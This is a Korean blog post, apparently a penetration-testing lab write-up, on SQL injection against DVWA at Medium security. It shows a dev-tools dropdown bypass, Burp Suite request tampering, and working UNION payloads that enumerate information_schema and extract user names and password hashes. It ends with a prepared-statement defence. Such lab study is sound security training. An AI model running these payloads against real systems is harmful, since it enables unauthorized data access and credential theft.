웹 해킹 & 보안

[웹 모의해킹] SQL Injection 실습 - 2편 - Medium 단계

ahhyun98 2025. 6. 5. 14:41

 

이번 실습은 DVWASQL Injection(Medium) 보안 단계에 대한 실습이다. 이전 Low 단계에서는 작은따옴표 ' 등을 직접 삽입하여 손쉽게 인젝션이 가능했지만, Medium 단계에서는 mysqli_real_escape_string() 함수가 적용되어 있어 단순한 인젝션은 필터링된다. 이번 실습에서는 개발자 도구 (F12)와 Burp Suite 그리고 URL 디코딩 도구까지 활용하여 필터링 우회 및 데이터베이스 정보 수집을 진행하였다.


1. 실습 환경 

 

URL Decode and Encode - Online

Decode from URL-encoded format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.urldecoder.org

  • 기타 : PHP, MySQL, DVWA

2. 소스 코드 분석

/vulnerabilities/sqli/source/medium.php 내부 코드를 보면 다음과 같이 필터링 로직이 있다

$id = $_POST['id'];
$id = mysqli_real_escape_string($conn, $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
  • 사용자의 입력값을 mysqli_real_escape_string() 함수로 이스케이프 처리하고 있지만, 
  • 숫자 기반 인젝션과 UNION, OR, AND 같은 연산자는 여전히 우회 가능하다. 

3. 실습 1단계 - F12 개발자 도구로 필터링 우회

 

브라우저에서 직접 쿼리 조작

 

 

1. Medium 단계 페이지 접속 후, ID 입력창에 1 or 1=1을 넣으면 자동으로 필터링되어 '1 or 1=1'처럼 바뀐다.

 

2. 이 상태에서 우회하기 위해 F12 개발자 도구 (Elements 탭)을 열고 다음과 같이 option 태그를 수정한다. 

<option value="1 or 1=1">1 or 1=1</option>

 

3. 수동으로 수정 후, 전송하면 다음과 같은 쿼리가 실행된다

SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1=1;

 

4. 모든 사용자 정보가 출력되면 우회 성공!!

 

 

 

 

 


4. 실습 2단계 - Burp Suite를 통한 우회 공격

 

 

 

 

요청 캡쳐 및 조작

1. Burp Suite 실행 후 브라우저 프록시 설정

 

2. ID 입력창에 1 OR 1=1 입력 후 전송 => Burp에서 요청 가로채기

 

3. Burp Repeater로 전송 내용을 이동하여 인젝션 페이로드 실험

POST /vulnerabilities/sqli/ HTTP/1.1
...
id=1+OR+1%3D1&Submit=Submit

 

  • %3D => =
  • %2F => /
  • %23 => #
  • 인코딩 된 특수문자가 포함되어 있어 정확한 확인이 필요하다. 

5. URL 디코딩 도구 활용

Burp Suite나 브라우저에서 자동 URL 인코딩 된 문자열을 디코딩할 때는 https://www.urldecoder.org/ 을 사용하였다. 

 

예시

1%20OR%201%3D1%20UNION%20SELECT%20null%2Cuser%28%29%23

 

=> 디코딩 결과 :

1 OR 1=1 UNION SELECT null, user() #

 

이 쿼리는 현재 DB 사용자 확인을 위한 인젝션 쿼리이다. 


6. 정보 수집 -- 테이블명과 컬럼명 추출

테이블명 추출

1 and 1=1 union select null, table_name from information_schema.tables #

 

결과

First name:
Surname: users
Surname: guestbook
Surname: CHARACTER_SETS
...

 

컬럼명 추출 (users 테이블)

1 and 1=1 union select null, column_name from information_schema.columns where table_name='users' #

 

결과

First name:
Surname: user
Surname: password
Surname: avatar
...

7. 사용자 정보 및 비밀번호 해시 추출

1 OR 1=1 UNION SELECT user, password FROM dvwa.users #

 

  • dvwa.users 테이블에서 실제 사용자 계정 정보 확인 가능
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

 

※ 실제 비밀번호는 해시된 상태로 노출되며, 이는 md5('password')로 해시된 예제 비밀번호이다. 


8. 실습 정리

항목 결과
F12 개발자 도구로 조작 성공
Burp Suite를 통한 인젝션 성공
URL 디코딩 후 정확한 쿼리 구성 성공
테이블 및 컬럼 정보 수집 성공
사용자 정보 추출 성공
필터링 우회 방식 숫자 기반 논리 연산자 사용

9. 방어 방안

Prepared Statement 사용

$stmt = $conn->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("i", $id);

 

쿼리와 데이터를 완전히 분리하여 injection을 원천 차단한다. 


10. 마무리

이번 실습에서는 단순한 문자열 이스케이프 필터링만으로는 SQL Injection을 완벽히 방어할 수 없다는 점을 확인했다. F12 개발자 도구와 Burp Suite 그리고 URL 디코더를 병행해서 인코딩 우회, 서버 응답 분석, 쿼리 조작을 통해 침투 테스트 시나리오를 쉽게 구성할 수 있었다. 실습을 통해 보안 개발과 해킹 기법 양쪽을 동시에 이해할 수 있었던 유의미한 경험이었다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.